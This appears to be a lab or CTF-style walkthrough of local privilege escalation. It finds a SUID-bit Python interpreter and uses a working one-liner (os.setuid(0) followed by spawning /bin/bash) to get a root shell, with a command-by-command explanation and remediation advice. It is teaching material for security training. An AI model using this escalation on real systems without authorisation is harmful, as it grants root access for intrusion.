V7: SUID Python

Main Doc

Discovery

find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/su
/usr/bin/mount
/opt/lab/bin/python3        ← interpreter should never be SUID

ls -la /opt/lab/bin/python3
-rwsr-xr-x 1 root root 6820416 Mar  5 09:12 /opt/lab/bin/python3

Command	Output
find / -perm -4000 -type f 2>/dev/null	same command as in Phase 0: every regular file with the SUID bit (-perm -4000), errors silenced (2>/dev/null).
/usr/bin/sudo, /usr/bin/su, /usr/bin/mount	tools that are meant to be SUID
/opt/lab/bin/python3	An interpreter is not on the legitimate SUID list, and it does not live in a standard path
ls -la /opt/lab/bin/python3	confirms the mode string -rwsr-xr-x: the s in the owner's execute slot is the SUID bit.

• linpeas highlights SUID files outside standard paths; the manual habit is the same check you just ran.

Exploitation

Step 1: Ask Python to promote itself and start a shell.

/opt/lab/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id    # uid=0(root)
uid=0(root) gid=0(root) groups=0(root)

Command	Output
/opt/lab/bin/python3	runs the SUID copy of Python. It starts with euid 0 (effective root), because that is what the SUID bit does.
-c	"run the following text as a Python program" instead of reading a script file.
...	keep your shell from interpreting the Python code; it is passed through untouched.
import os	loads the os module, Python's interface to operating-system functions.
os.setuid(0)	sets the real user ID to 0. Because euid is already 0, the kernel allows it - and the real uid is promoted to root too, so the whole process is root from here on.
os.system("/bin/bash")	starts a bash shell inside that now-root process. id inside it prints uid=0(root)

Proof

• id prints uid=0(root) immediately - no cron, no waiting. For file evidence run id > /tmp/pwned_7 from the root shell and check it with ls -la /tmp/pwned_7: root-owned.

Remediation

• Never set SUID on scripting-language interpreters - remove the bit immediately with chmod u-s. General rule: any SUID binary outside /usr/bin, /usr/sbin, /bin, /sbin warrants suspicion and review.